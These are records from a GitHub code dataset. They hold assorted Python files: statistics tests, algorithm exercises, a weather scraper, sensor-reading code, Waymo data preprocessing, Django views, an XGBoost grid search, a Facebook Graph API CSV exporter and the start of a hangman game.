nig.prob((jnp.squeeze(niw_sigma_samples, axis=-1), niw_mu_samples))\n\n niw_log_probs = niw.log_prob((niw_sigma_samples, niw_mu_samples))\n niw_probs = niw.prob((niw_sigma_samples, niw_mu_samples))\n\n assert jnp.allclose(nig_log_probs, niw_log_probs, atol=1e-3)\n assert jnp.allclose(nig_probs, niw_probs, atol=1e-3)\n assert all(tree_map(lambda x, y: jnp.allclose(jnp.array(x), jnp.array(y)), niw.mode(), nig.mode()))\n\n\ndef test_normal_inverse_gamma_log_prob(\n key=jr.PRNGKey(0), loc=0.0, mean_conc=1.0, concentration=7.0, scale=3.0, n_samples=10):\n\n nig = NormalInverseGamma(loc, mean_conc, concentration, scale)\n\n variance, mean = nig.sample(seed=key, sample_shape=(n_samples,))\n\n log_prob = tfd.Normal(loc, jnp.sqrt(variance / mean_conc)).log_prob(mean)\n log_prob += tfd.InverseGamma(concentration, scale).log_prob(variance)\n\n scipy_log_prob = norm.logpdf(mean, loc, jnp.sqrt(variance / mean_conc))\n scipy_log_prob += invgamma.logpdf(jnp.array(variance), concentration, scale=scale)\n\n nig_log_prob = nig.log_prob((variance, mean))\n\n assert jnp.allclose(nig_log_prob, log_prob)\n assert jnp.allclose(nig_log_prob, scipy_log_prob, atol=1e-3)\n","repo_name":"probml/dynamax","sub_path":"dynamax/utils/distributions_test.py","file_name":"distributions_test.py","file_ext":"py","file_size_in_byte":6865,"program_lang":"python","lang":"en","doc_type":"code","stars":488,"dataset":"github-code","pt":"54"} +{"seq_id":"3276262622","text":"# 조금만 더 고치면 될 것 같은데...!!\n\nimport sys\nsys.stdin = open('input.txt')\n\nT = int(input())\nfor tc in range(T):\n K, N, M = map(int, input().split())\n bus_stop = [0] * N\n charger = list(map(int, input().split()))\n bus = 0\n cnt = 0\n res = 0\n while bus < N:\n cnt += 1\n bus += K\n if bus >= N:\n res = cnt\n elif bus in charger:\n continue\n else:\n for i in range(K-1):\n bus -= 1\n if bus in charger:\n break\n\n print(res)\n\n","repo_name":"kellyjung5512/TIL","sub_path":"01_algorithm_study/0810/전기버스/s2.py","file_name":"s2.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6290622822","text":"import requests\r\nfrom lxml import etree\r\n\r\nclass WeatherSpider:\r\n\r\n def __init__(self):\r\n self.url = \"http://www.weather.com.cn/weather1d/101200702.shtml\"\r\n self.headers = {\r\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36\"}\r\n\r\n def get_url_content(self):\r\n return requests.get(self.url, headers=self.headers).content.decode()\r\n\r\n def get_weather_data(self, html):\r\n tmp_html = etree.HTML(html)\r\n tomorrow_doc = tmp_html.xpath(\"//div[contains(@class,'con') and contains(@class,'today')]//div[@class='c7d']/ul/li[2]\")[0]\r\n weather_data = {}\r\n weather_data[\"date\"] = tomorrow_doc.xpath(\"./h1/text()\")[0]\r\n weather_data[\"weather\"] = tomorrow_doc.xpath(\"./p[@class='wea']/@title\")[0]\r\n weather_data[\"temperature_max\"] = tomorrow_doc.xpath(\"./p[@class='tem']/span/text()\")[0]\r\n weather_data[\"temperature_min\"] = tomorrow_doc.xpath(\"./p[@class='tem']/i/text()\")[0]\r\n weather_data[\"air_speed\"] = tomorrow_doc.xpath(\"./p[@class='win']/i/text()\")[0]\r\n return weather_data\r\n content_html = self.get_url_content()\r\n data = self.get_weather_data(content_html)\r\n print(data)\r\n","repo_name":"xukaixinya/WeatherSpider","sub_path":"weatherSpider.py","file_name":"weatherSpider.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29632769637","text":"def getValue(sensor):\n '''\n this will give you the value read on an i2c pin attached to the adc\n \n the channels that can be input are:\n -0x10\n -0x20\n -0x40\n -0x80\n '''\n import smbus\n from bitswitch import bitswitcher\n \n I2CADDR = 0x21\n bus = smbus.SMBus(1)\n\n bus.write_byte( I2CADDR, sensor )\n value = bus.read_word_data( I2CADDR, sensor )\n return bitswitcher(value)\n\ndef getalldata(n, heart, conduct, temp, breath, yellow, red):\n from csvhandler import writetofile\n from redyellowbuttons import yellowPressed, redPressed\n for _ in xrange(16):\n heart.newvalue(getValue(0x40))\n conduct.newvalue(getValue(0x80))\n temp.newvalue(getValue(0x20))\n breath.newvalue(getValue(0x10))\n if yellowPressed():\n yellow.newvalue(100)\n else:\n yellow.newvalue(0)\n if redPressed():\n red.newvalue(100)\n else:\n red.newvalue(0)\n writetofile(yellow.lastvalue, red.lastvalue, breath.lastvalue, heart.lastvalue, conduct.lastvalue, temp.lastvalue)\n n += 1\n \n ","repo_name":"rs1257/microcontroller-polygraph","sub_path":"sensordata.py","file_name":"sensordata.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"11806204263","text":"#18 - Faça um Programa que peça uma data no formato dd/mm/aaaa e determine se a mesma é uma data válida.\n\ndata = input(\"Digite uma data com o seguinte formato dd/mm/aaaa: \")\ndia = int(data[0:2])\nmes = int(data[3:5])\nano = int(data[6:10])\n\nvalidade = \"true\"\n\nif (ano%4 == 0 and ano%100!= 0) or ano%400 == 0:\n bissexto = \"sim\"\nelse:\n bissexto = \"nao\"\n\nif mes < 1 or mes > 12:\n validade = \"false\"\n\nif dia > 31 or ((mes == 4 or mes == 6 or mes == 9 or mes == 11) and dia > 30):\n validade = \"false\"\n\nif (mes == 2 and bissexto == \"nao\" and dia > 28) or ( mes == 2 and bissexto == \"sim\" and dia > 29):\n validade = \"false\"\n\n\nif validade == \"true\":\n print(\"\\nData Válida!\")\nelse:\n print(\"\\nData Inválida!\")\n","repo_name":"renitro/Python","sub_path":"Estruturas de Decisão/Exerc18.py","file_name":"Exerc18.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"16390771200","text":"#@title Initial setup\nfrom typing import Optional\nimport warnings\n# Disable annoying warnings from PyArrow using under the hood.\nwarnings.simplefilter(action='ignore', category=FutureWarning)\nimport pandas as pd\nimport tensorflow as tf\nimport dask.dataframe as dd\nfrom waymo_open_dataset import v2\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nimport os\nfrom waymo_open_dataset.utils import range_image_utils\nimport torchvision\nimport gc\nimport numpy as np\nimport sys\n#import open3d as o3d\nimport cv2\n\n# Path to the directory with all components\ndataset_dir = './data2/'\n\nfrom os import listdir\nfrom os.path import isfile, join\n\ndir = './data2/camera_image'\nfiles = [f for f in listdir(dir) if isfile(join(dir, f))]\n#print(len(files))\nfiles = [f.split('.')[0] for f in files if len(f.split('.')) == 2]\nfiles = [sys.argv[1].split('/')[-1].split('.')[0]]\n#print(files)\n\ndef read(tag: str, context_name: str) -> dd.DataFrame:\n \"\"\"Creates a Dask DataFrame for the component specified by its tag.\"\"\"\n paths = tf.io.gfile.glob(f'{dataset_dir}/{tag}/{context_name}.parquet')\n pathname = f'{dataset_dir}/{tag}/{context_name}.parquet'\n return pd.read_parquet(pathname, engine='pyarrow')\n return dd.read_parquet(paths)\n\nfor context_name in files:\n print(context_name)\n # @title Basic Example (Camera images with labels)\n path = './data/' + context_name+'/'\n isExist = os.path.exists(path)\n if not isExist:\n # Create a new directory because it does not exist\n os.makedirs(path)\n # Lazily read camera images and boxes \n cam_image_df = read('camera_image', context_name)\n cam_box_df = read('camera_box', context_name)\n \n # print(cam_image_df.head())\n # print(cam_box_df.head())\n df_temp = cam_box_df[cam_box_df['key.camera_name'] == 5]\n cam_image_df = v2.merge(cam_image_df, cam_box_df, right_group=True)\n # print(cam_image_df.head())\n del cam_box_df\n gc.collect()\n \n # Example how to access data fields via v2 object-oriented API\n print(f'Available {cam_image_df.shape[0]} rows:')\n for i, (_, r) in enumerate(cam_image_df.iterrows()):\n # Create component dataclasses for the raw data\n cam_image = v2.CameraImageComponent.from_dict(r)\n cam_nm = cam_image.key.camera_name\n #print(cam_nm)\n cam_box = v2.CameraBoxComponent.from_dict(r)\n\n img = tf.io.decode_jpeg(cam_image.image).numpy()\n img = cv2.resize(img, (0,0), fx=0.25, fy=0.25)\n\n boxes = []\n #print(zip(cam_box.box.center.x, cam_box.box.center.y, cam_box.box.size.x, cam_box.box.size.y))\n for j, (x, y, w, h, t) in enumerate(zip(cam_box.box.center.x, cam_box.box.center.y, cam_box.box.size.x, cam_box.box.size.y, cam_box.type)):\n x /= 4\n y /= 4\n w /= 4\n h /= 4\n x1 = x-w/2\n x2 = x+w/2\n y1 = y-h/2\n y2 = y+h/2\n boxes.append([x1, y1, x2, y2, t])\n #cv2.rectangle(img, (int(x1), int(y1)), (int(x2), int(y2)), (255, 0, 0), 2)\n \n boxes = np.array(boxes)\n \n\n filename = path+str(cam_image.key.frame_timestamp_micros)+'_boxes_'+str(cam_nm)+\".npy\"\n np.save(filename, boxes)\n\n\n\n del cam_image_df\n gc.collect()","repo_name":"AlbyYuggle/exploring-multimodal-perception-detection","sub_path":"data_process2.py","file_name":"data_process2.py","file_ext":"py","file_size_in_byte":3096,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"30153343947","text":"# 쿼드트리 (https://www.acmicpc.net/problem/1992)\n# 흑백 영상을 압축하여 표현하는 데이터 구조로 쿼드 트리(Quad Tree)라는 방법이 있다. 흰 점을 나타내는 0과 검은 점을 나타내는 1로만 이루어진 영상(2차원 배열)에서 같은 숫자의 점들이 한 곳에 많이 몰려있으면, 쿼드 트리에서는 이를 압축하여 간단히 표현할 수 있다.\n\nimport sys\n\ninput = sys.stdin.readline\n\nN = int(input()) # N은 언제나 2의 제곱수\n\narea = []\nfor _ in range(N):\n area.append(list(input().strip()))\n\ndef divide(n, x, y):\n if n == 1: return area[y][x]\n \n d = n//2\n\n div2 = divide(d, x, y)\n div1 = divide(d, x+d, y)\n div3 = divide(d, x, y+d)\n div4 = divide(d, x+d, y+d)\n\n if div2 == div1 == div3 == div4: # (1010)(1010)(1010)(1010)의 경우 하나로 합칠 수 없음\n size = len(div1)\n sum = 0\n for n in list(div1):\n if n != \"(\" and n != \")\":\n sum += int(n)\n if sum == size or sum == 0: # 1111 or 0000\n return div1\n\n return \"(\" + div2 + div1 + div3 + div4 + \")\"\n\nprint(divide(N, 0, 0))\n\n# ==================================================================\n# 8\n# 11110000\n# 11110000\n# 00011100\n# 00011100\n# 11110000\n# 11110000\n# 11110011\n# 11110011\n\n# ((110(0101))(0010)1(0001))","repo_name":"eagerithm/algorithms","sub_path":"bugoverdose/divide-conquer/02.py","file_name":"02.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71586774881","text":"import collections\nimport io\nimport re\n\nimport yaml\nfrom django.core.paginator import EmptyPage, PageNotAnInteger, Paginator\nfrom django.db.models import Q\nfrom django.http import HttpResponse\nfrom django.http.response import JsonResponse\n\nimport custom_view\nfrom airone.lib.acl import ACLType, get_permitted_objects\nfrom airone.lib.http import (\n get_download_response,\n get_obj_with_check_perm,\n http_get,\n http_post,\n render,\n)\nfrom airone.lib.types import AttrTypes, AttrTypeValue\nfrom entry.models import AttributeValue, Entry\nfrom job.models import Job\nfrom user.models import History\n\nfrom .models import Entity, EntityAttr\nfrom .settings import CONFIG\n\n\n@http_get\ndef index(request):\n param_page_index = request.GET.get(\"page\", 0)\n param_keyword = request.GET.get(\"keyword\")\n\n # Get entities under the conditions of specified parameters\n query = Q(is_active=True)\n if param_keyword:\n query &= Q(name__icontains=param_keyword)\n\n overall_entities = Entity.objects.filter(query).order_by(\"name\")\n\n p = Paginator(overall_entities, CONFIG.MAX_LIST_ENTITIES)\n try:\n page = int(param_page_index)\n # Page numbers on the entity index page start at 0, wheres Paginator start at 1.\n page_obj = p.page(page + 1)\n\n except (ValueError, PageNotAnInteger):\n return HttpResponse(\"Invalid page number. It must be unsigned integer\", status=400)\n except EmptyPage:\n return HttpResponse(\"Invalid page number. The page doesn't have anything\", status=400)\n\n return_entities = page_obj.object_list\n index_start = (page_obj.number - 1) * CONFIG.MAX_LIST_ENTITIES\n\n context = {\n \"entities\": return_entities,\n \"entity_count\": return_entities.count(),\n \"total_count\": overall_entities.count(),\n \"page_index_start\": index_start,\n \"page_index_end\": index_start + return_entities.count(),\n }\n return render(request, \"list_entities.html\", context)\n\n\n@http_get\ndef create(request):\n context = {\n \"entities\": [\n x\n for x in Entity.objects.filter(is_active=True)\n if request.user.has_permission(x, ACLType.Readable)\n ],\n \"attr_types\": AttrTypes,\n }\n return render(request, \"create_entity.html\", context)\n\n\n@http_get\ndef edit(request, entity_id):\n entity, error = get_obj_with_check_perm(request.user, Entity, entity_id, ACLType.Writable)\n if error:\n return error\n\n # when an entity in referral attribute is deleted\n # user should be able to select new entity or keep it unchanged\n # candidate entites for referral are:\n # - active(not deleted) entity\n # - current value of any attributes even if the entity has been deleted\n context = {\n \"entity\": entity,\n \"attr_types\": AttrTypes,\n \"attributes\": [\n {\n \"id\": x.id,\n \"name\": x.name,\n \"type\": x.type,\n \"is_mandatory\": x.is_mandatory,\n \"is_delete_in_chain\": x.is_delete_in_chain,\n \"referrals\": x.referral.all(),\n }\n for x in entity.attrs.filter(is_active=True).order_by(\"index\")\n if request.user.has_permission(x, ACLType.Writable)\n ],\n }\n return render(request, \"edit_entity.html\", context)\n\n\n@http_post(\n [\n {\n \"name\": \"name\",\n \"type\": str,\n \"checker\": lambda x: (\n x[\"name\"] and len(x[\"name\"]) <= Entity._meta.get_field(\"name\").max_length\n ),\n },\n {\"name\": \"note\", \"type\": str},\n {\"name\": \"is_toplevel\", \"type\": bool},\n {\n \"name\": \"attrs\",\n \"type\": list,\n \"meta\": [\n {\n \"name\": \"name\",\n \"type\": str,\n \"checker\": lambda x: (\n x[\"name\"]\n and not re.match(r\"^\\s*$\", x[\"name\"])\n and len(x[\"name\"]) <= EntityAttr._meta.get_field(\"name\").max_length\n ),\n },\n {\n \"name\": \"type\",\n \"type\": str,\n \"checker\": lambda x: (any([y == int(x[\"type\"]) for y in AttrTypes])),\n },\n {\"name\": \"is_mandatory\", \"type\": bool},\n {\"name\": \"is_delete_in_chain\", \"type\": bool},\n {\n \"name\": \"row_index\",\n \"type\": str,\n \"checker\": lambda x: (re.match(r\"^[0-9]*$\", x[\"row_index\"])),\n },\n ],\n },\n ]\n)\ndef do_edit(request, entity_id, recv_data):\n entity, error = get_obj_with_check_perm(request.user, Entity, entity_id, ACLType.Writable)\n if error:\n return error\n\n # validation checks\n for attr in recv_data[\"attrs\"]:\n # formalize recv_data format\n if \"ref_ids\" not in attr:\n attr[\"ref_ids\"] = []\n\n if int(attr[\"type\"]) & AttrTypeValue[\"object\"] and not attr[\"ref_ids\"]:\n return HttpResponse(\"Need to specify enabled referral ids\", status=400)\n\n if any([not Entity.objects.filter(id=x).exists() for x in attr[\"ref_ids\"]]):\n return HttpResponse(\"Specified referral is invalid\", status=400)\n\n # duplication checks\n counter = collections.Counter(\n [\n attr[\"name\"]\n for attr in recv_data[\"attrs\"]\n if \"deleted\" not in attr or not attr[\"deleted\"]\n ]\n )\n if len([v for v, count in counter.items() if count > 1]):\n return HttpResponse(\"Duplicated attribute names are not allowed\", status=400)\n\n # prevent to show edit page under the processing\n if entity.get_status(Entity.STATUS_EDITING):\n return HttpResponse(\"Target entity is now under processing\", status=400)\n\n if custom_view.is_custom(\"edit_entity\"):\n resp = custom_view.call_custom(\n \"edit_entity\", None, entity, recv_data[\"name\"], recv_data[\"attrs\"]\n )\n if resp:\n return resp\n\n # update status parameters\n if recv_data[\"is_toplevel\"]:\n entity.set_status(Entity.STATUS_TOP_LEVEL)\n else:\n entity.del_status(Entity.STATUS_TOP_LEVEL)\n\n # update entity metatada informations to new ones\n entity.set_status(Entity.STATUS_EDITING)\n\n # Create a new job to edit entity and run it\n job = Job.new_edit_entity(request.user, entity, params=recv_data)\n job.run()\n\n new_name = recv_data[\"name\"]\n return JsonResponse(\n {\n \"entity_id\": entity.id,\n \"entity_name\": new_name,\n \"msg\": 'Success to schedule to update Entity \"%s\"' % new_name,\n }\n )\n\n\n@http_post(\n [\n {\n \"name\": \"name\",\n \"type\": str,\n \"checker\": lambda x: (\n x[\"name\"]\n and not Entity.objects.filter(name=x[\"name\"]).exists()\n and len(x[\"name\"]) <= Entity._meta.get_field(\"name\").max_length\n ),\n },\n {\"name\": \"note\", \"type\": str},\n {\"name\": \"is_toplevel\", \"type\": bool},\n {\n \"name\": \"attrs\",\n \"type\": list,\n \"meta\": [\n {\n \"name\": \"name\",\n \"type\": str,\n \"checker\": lambda x: (\n x[\"name\"]\n and not re.match(r\"^\\s*$\", x[\"name\"])\n and len(x[\"name\"]) <= EntityAttr._meta.get_field(\"name\").max_length\n ),\n },\n {\n \"name\": \"type\",\n \"type\": str,\n \"checker\": lambda x: (any([y == int(x[\"type\"]) for y in AttrTypes])),\n },\n {\"name\": \"is_mandatory\", \"type\": bool},\n {\"name\": \"is_delete_in_chain\", \"type\": bool},\n {\n \"name\": \"row_index\",\n \"type\": str,\n \"checker\": lambda x: (re.match(r\"^[0-9]*$\", x[\"row_index\"])),\n },\n ],\n },\n ]\n)\ndef do_create(request, recv_data):\n # validation checks\n for attr in recv_data[\"attrs\"]:\n # formalize recv_data format\n if \"ref_ids\" not in attr:\n attr[\"ref_ids\"] = []\n\n if int(attr[\"type\"]) & AttrTypeValue[\"object\"] and not attr[\"ref_ids\"]:\n return HttpResponse(\"Need to specify enabled referral ids\", status=400)\n\n if any([not Entity.objects.filter(id=x).exists() for x in attr[\"ref_ids\"]]):\n return HttpResponse(\"Specified referral is invalid\", status=400)\n\n # duplication checks\n counter = collections.Counter(\n [\n attr[\"name\"]\n for attr in recv_data[\"attrs\"]\n if \"deleted\" not in attr or not attr[\"deleted\"]\n ]\n )\n if len([v for v, count in counter.items() if count > 1]):\n return HttpResponse(\"Duplicated attribute names are not allowed\", status=400)\n\n if custom_view.is_custom(\"create_entity\"):\n resp = custom_view.call_custom(\"create_entity\", None, recv_data[\"name\"], recv_data[\"attrs\"])\n if resp:\n return resp\n\n # create EntityAttr objects\n entity = Entity(\n name=recv_data[\"name\"],\n note=recv_data[\"note\"],\n created_user=request.user,\n status=Entity.STATUS_CREATING,\n )\n\n # set status parameters\n if recv_data[\"is_toplevel\"]:\n entity.status = Entity.STATUS_TOP_LEVEL\n\n entity.save()\n\n # Create a new job to edit entity and run it\n job = Job.new_create_entity(request.user, entity, params=recv_data)\n job.run()\n\n return JsonResponse(\n {\n \"entity_id\": entity.id,\n \"entity_name\": entity.name,\n \"msg\": 'Success to create Entity \"%s\"' % entity.name,\n }\n )\n\n\n@http_get\ndef export(request):\n output = io.StringIO()\n\n data = {\"Entity\": [], \"EntityAttr\": []}\n\n entities = get_permitted_objects(request.user, Entity, ACLType.Readable)\n for entity in entities:\n data[\"Entity\"].append(\n {\n \"created_user\": entity.created_user.username,\n \"id\": entity.id,\n \"name\": entity.name,\n \"note\": entity.note,\n \"status\": entity.status,\n }\n )\n\n attrs = get_permitted_objects(request.user, EntityAttr, ACLType.Readable)\n for attr in attrs:\n data[\"EntityAttr\"].append(\n {\n \"created_user\": attr.created_user.username,\n \"entity\": attr.parent_entity.name,\n \"id\": attr.id,\n \"is_mandatory\": attr.is_mandatory,\n \"name\": attr.name,\n \"refer\": \",\".join(\n list(map(lambda x: x.name, attr.referral.filter(is_active=True)))\n ),\n \"type\": attr.type,\n }\n )\n\n output.write(yaml.dump(data, default_flow_style=False, allow_unicode=True))\n return get_download_response(output, \"entity.yaml\")\n\n\n@http_post([])\ndef do_delete(request, entity_id, recv_data):\n entity, error = get_obj_with_check_perm(request.user, Entity, entity_id, ACLType.Full)\n if error:\n return error\n\n if not entity.is_active:\n return HttpResponse(\"Target entity is now under processing\", status=400)\n\n if Entry.objects.filter(schema=entity, is_active=True).exists():\n return HttpResponse(\n \"cannot delete Entity because one or more Entries are not deleted\",\n status=400,\n )\n\n if custom_view.is_custom(\"delete_entity\"):\n resp = custom_view.call_custom(\"delete_entity\", None, entity)\n if resp:\n return resp\n\n ret = {}\n # save deleting target name before do it\n ret[\"name\"] = entity.name\n\n # set deleted flag in advance because deleting processing takes long time\n entity.is_active = False\n entity.save_without_historical_record(update_fields=[\"is_active\"])\n\n # Create a new job to delete entry and run it\n job = Job.new_delete_entity(request.user, entity)\n job.run()\n\n return JsonResponse(ret)\n\n\n@http_get\ndef history(request, entity_id):\n if not Entity.objects.filter(id=entity_id).exists():\n return HttpResponse(\"Failed to get entity of specified id\", status=400)\n\n # entity to be editted is given by url\n entity = Entity.objects.get(id=entity_id)\n\n context = {\n \"entity\": entity,\n \"history\": History.objects.filter(target_obj=entity, is_detail=False).order_by(\"-time\"),\n }\n\n return render(request, \"history_entity.html\", context)\n\n\n@http_get\ndef dashboard(request, entity_id):\n if not Entity.objects.filter(id=entity_id).exists():\n return HttpResponse(\"Failed to get entity of specified id\", status=400)\n\n # entity to be editted is given by url\n entity = Entity.objects.get(id=entity_id)\n total_entry_count = Entry.objects.filter(schema=entity, is_active=True).count()\n\n summarized_data = {}\n for attr in EntityAttr.objects.filter(parent_entity=entity, is_active=True, is_summarized=True):\n summarized_data[attr] = {\n \"referral_count\": [\n {\n \"referral\": r.name,\n \"count\": AttributeValue.objects.filter(\n **{\n \"parent_attr__parent_entry__is_active\": True,\n \"parent_attr__is_active\": True,\n \"parent_attr__schema\": attr,\n \"is_latest\": True,\n \"referral\": r,\n }\n ).count(),\n }\n for r in Entry.objects.filter(schema=attr.referral.first(), is_active=True)\n ],\n }\n\n # filter elements which count is 0\n summarized_data[attr][\"referral_count\"] = [\n x for x in summarized_data[attr][\"referral_count\"] if x[\"count\"] > 0\n ]\n\n # set count of entries which doesn't have referral\n summarized_data[attr][\"no_referral_count\"] = Entry.objects.filter(\n schema=entity, is_active=True\n ).count() - sum([x[\"count\"] for x in summarized_data[attr][\"referral_count\"]])\n\n summarized_data[attr][\"no_referral_ratio\"] = \"%2.1f\" % (\n (100 * summarized_data[attr][\"no_referral_count\"]) / total_entry_count\n )\n\n # sort by referral counts\n summarized_data[attr][\"referral_count\"] = sorted(\n summarized_data[attr][\"referral_count\"],\n key=lambda x: x[\"count\"],\n reverse=True,\n )\n\n # summarize results to prevent overflowing results by a lot of tiny elements\n if len(summarized_data[attr][\"referral_count\"]) > CONFIG.DASHBOARD_NUM_ITEMS:\n rest_counts = sum(\n [\n x[\"count\"]\n for x in summarized_data[attr][\"referral_count\"][CONFIG.DASHBOARD_NUM_ITEMS :]\n ]\n )\n\n summarized_data[attr][\"referral_count\"] = summarized_data[attr][\"referral_count\"][\n : CONFIG.DASHBOARD_NUM_ITEMS\n ]\n summarized_data[attr][\"referral_count\"].append(\n {\n \"referral\": \"(Others)\",\n \"count\": rest_counts,\n \"ratio\": \"%2.1f\" % ((rest_counts * 100) / total_entry_count),\n }\n )\n\n # set ratio for each elements\n for info in summarized_data[attr][\"referral_count\"]:\n info[\"ratio\"] = \"%2.1f\" % ((info[\"count\"] * 100) / total_entry_count)\n\n context = {\n \"entity\": entity,\n \"total_entry_count\": total_entry_count,\n \"summarized_data\": summarized_data,\n }\n return render(request, \"dashboard_entity.html\", context)\n\n\n@http_get\ndef conf_dashboard(request, entity_id):\n if not Entity.objects.filter(id=entity_id).exists():\n return HttpResponse(\"Failed to get entity of specified id\", status=400)\n\n # entity to be editted is given by url\n entity = Entity.objects.get(id=entity_id)\n\n context = {\n \"entity\": entity,\n \"ref_attrs\": EntityAttr.objects.filter(\n parent_entity=entity, type=AttrTypeValue[\"object\"], is_active=True\n ),\n \"redirect_url\": \"/entity/dashboard/config/register/%s\" % entity_id,\n }\n return render(request, \"conf_dashboard_entity.html\", context)\n\n\n@http_post(\n [\n {\n \"name\": \"attrs\",\n \"type\": list,\n \"checker\": lambda x: all(\n [EntityAttr.objects.filter(id=v).exists() for v in x[\"attrs\"]]\n ),\n }\n ]\n)\ndef do_conf_dashboard(request, entity_id, recv_data):\n if not Entity.objects.filter(id=entity_id).exists():\n return HttpResponse(\"Failed to get entity of specified id\", status=400)\n\n # clear is_summarized flag for each EntityAttrs corresponding to the entity\n EntityAttr.objects.filter(parent_entity=entity_id).update(is_summarized=False)\n\n # set is_summarized flag for each specified EntityAttrs\n for attr in [EntityAttr.objects.get(id=x) for x in recv_data[\"attrs\"]]:\n attr.is_summarized = True\n attr.save(update_fields=[\"is_summarized\"])\n\n return JsonResponse({\"msg\": \"Success to update dashboard\"})\n","repo_name":"dmm-com/airone","sub_path":"entity/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":17282,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"54"} +{"seq_id":"16181026649","text":"import numpy as np \nimport pandas as pd \n\nimport os\nfor dirname, _, filenames in os.walk('/kaggle/input'):\n for filename in filenames:\n print(os.path.join(dirname, filename))\n\nimport math\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport xgboost as xgb\nimport warnings\nwarnings.simplefilter(\"ignore\")\nfrom sklearn.model_selection import GridSearchCV\n\ntrain_df = pd.read_csv('../input/latest/train_df.csv')\ny_train = pd.read_csv('../input/latest/y_train.csv')\ntest_df = pd.read_csv('../input/latest/test_df.csv')\n\ny_train.drop(y_train.columns[[0]], axis=1, inplace=True)\ntest_df.drop(test_df.columns[[0]], axis=1, inplace=True)\ntrain_df.drop(train_df.columns[[0]], axis=1, inplace=True)\n\ngrid_params = {\n 'max_depth': range (2, 10, 1),\n 'n_estimators': range(60, 220, 40),\n 'learning_rate': [0.1, 0.01, 0.05]\n}\n\nestimator = xgb.XGBClassifier()\n\ngrid_search = GridSearchCV(\n estimator=estimator,\n param_grid=grid_params,\n scoring = 'accuracy',\n n_jobs = 10,\n cv = 10,\n verbose=True\n)\n\ngrid_search.fit(train_df,y_train)\n\ny_pred = grid_search.predict(test_df)\n\npd.DataFrame(y_pred).to_csv('y_predXGB_HPT.csv')","repo_name":"yashk0311/ML-Project-IsFraud","sub_path":".py files/xgboost-hpt.py","file_name":"xgboost-hpt.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"23972850929","text":"import requests, facebook, urllib3, pprint, json, csv, io, os\n\n\ndef PullAPIData(requestFields,locationID,accessToken):\n\turl = 'https://graph.facebook.com/v2.10/'+ locationID +'/posts?fields='\n\trequest_post = requests.get(url + requestFields + \"&access_token=\" + access_token) # Sent REST request to GET data\n\n\tjson_data = json.loads(request_post.text) # Load JSON string into dictionary\n\n\t#print (json.dumps(json_data, indent=4, sort_keys=True))\n\n\ndef CreateCSV(objectDef,paraFields):\n\tCSVFile = objectDef+'PostLevel.csv'\n\t#Open CSV file\n\treview_data = open(CSVFile, 'w', newline='', encoding=\"utf-8\")\n\n\treview_parse = json_data['data']\n\n\t#Create CSV writer object\n\tcsv_writer = csv.DictWriter(review_data,delimiter=\"|\",fieldnames=paraFields)\n\tcsv_writer.writeheader()\n\tcsv_writer.writerows(review_parse) #review_parse is the preloaded JSON data file\n\n\ndef CreateCSV(CSVName,csvFields,jsonLoaded):\n\t#Open CSV file\n\treview_data = open(CSVName, 'w', newline='', encoding=\"utf-8\")\n\n\treview_parse = jsonLoaded['data']\n\n\t#Create CSV writer object\n\tcsv_writer = csv.DictWriter(review_data,delimiter=\"|\",fieldnames=csvFields)\n\tcsv_writer.writeheader()\n\tcsv_writer.writerows(review_parse) #review_parse is the preloaded JSON data file\n\n\n\n#Define Access Token\naccess_token = \"EAACEdEose0cBADXXo5YCNgaC0nAWKWPvVZCaK2UuKmVwLOuZAC8TtJWgqQ3PTUhDz0KAtOWzlCRvqZAuVQRsUoegqZAlgEwkwC1halCZA9yw8MgsX9vFu2S13KgY37B4UHOHrxr364U1dXCr9OBVLDvskpZCfNQaN7V7RzWTToP8EnuFy0KXoziKPZCC9ZAH2YUZD\" \n\nkeyMetricFields = ('id,permalink_url,message,type,created_time,targeting,insights.metric(post_consumptions_by_type_unique).period(lifetime)')\n\njsonFile = 'TestData.json'\nCSVFile = 'KMPostLevel.csv'\n\ndef TestJSONFile(inputFile,outputFile):\n\n\tall_fields = [\"id\", \"permalink_url\", \"message\", \"type\", \"created_time\", \"video play\", \"other clicks\", \"photo view\", \"link clicks\"]\n\n\twith open(inputFile) as review_file: #Open JSON file\n\t\treview_load = json.load(review_file) #Load JSON data into parser\n\n\treview_parse = review_load['data']\n\n\tCreateCSV(CSVFile,all_fields,review_parse)\n\nTestJSONFile(jsonFile,CSVFile)","repo_name":"OMAsphyxiate/FacebookInsights","sub_path":"Definitions.py","file_name":"Definitions.py","file_ext":"py","file_size_in_byte":2078,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"33905775525","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Dec 12 14:34:48 2020\n\n@author: falgayrettes\n\"\"\"\n\n\nfrom tkinter import Tk ,Label , Button , PhotoImage,Canvas ,StringVar , Entry\nimport random\n\n\n\nmaxscore=[]\ndef mots_aléatoires():\n #choix du mot aléatoire\n fich=open(\"mot.txt\",'r')\n mots=fich.readlines()\n mot_a_devine=random.choice(mots)\n return(mot_a_devine)\n\n \n\n\ndef affichage_mot(mot_a_devine,lettres_trouvées):\n # cette fonction permet d'afficher le mot que le joueur doit toruver , la fonction \n #enumerate 